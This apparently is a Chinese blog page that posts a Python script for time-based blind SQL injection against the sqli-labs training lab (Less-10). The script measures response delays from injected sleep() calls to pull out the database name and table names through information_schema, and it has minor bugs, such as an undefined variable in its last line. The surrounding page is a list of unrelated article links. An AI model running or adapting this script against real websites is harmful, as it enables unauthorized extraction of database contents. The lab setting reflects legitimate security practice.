当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string # 假设页面无任何回显需要用到时间注入 url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and ' a1=0 for a in range(10): start=time.time() res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -") response = res.text end=time.time() if end-start>1: a1=a print(f'库名长度为{a1}') break low = 'abcdefghijklmnopqrstuvw,xyz' res1='' for a2 in range(a1+1): for a3 in low: start = time.time() res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ") response4=res3.text end = time.time() if end-start>1: res1+=a3 print(f'库名为{res1}') # 查表数量,不需要判断表的数量,直接gruop_concat res8=[] # 取表名 res7 = '' for a7 in range(1,60): for a8 in low: start = time.time() res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ") response6=res6.text end = time.time() if end - start > 2: res7+=a8 res8.append(res7) print(res8) print(f'数据库{res4}有{res8}表')
边栏推荐
猜你喜欢
随机推荐
【DC-5靶场渗透】
机器码介绍
图的最短路径的核心——松弛技术
Sqli-labs-master shooting range 1-23 customs clearance detailed tutorial (basic)
Qlik Sense 判空详解(IsNull)
编写一个函数 reverse_string(char * string)(两种方法实现)7.26
【Arduino】关于“&”和“|” 运算-----多个参数运算结果异常的问题解决
动态规划笔记
跨域错误的原因及处理方法
7.18(7)
NFT租赁提案EIP-5006步入最后审核!让海外大型游戏的链改成为可能
【HQL】(一)json字符串处理json_tuple和get_json_object
Qlik Sense 聚合函数及范围详解(Sum、Count、All、ToTaL、{1})
下拉框数据字典应用案例
Navicat 解决隔一段时间不操作出现延时卡顿问题
Go (二) 函数部分1 -- 函数定义,传参,返回值,作用域,函数类型,defer语句,匿名函数和闭包,panic
中国柔性制造系统(FMS)市场发展动态及未来趋势预测报告2022~2028年
动态调整web系统主题? 看这一篇就够了
Kettle 从资源库中载入新的转换出错(Invalid byte 1 of 1-byte UTF-8 sequence)
icebreaker的垃圾话学习指南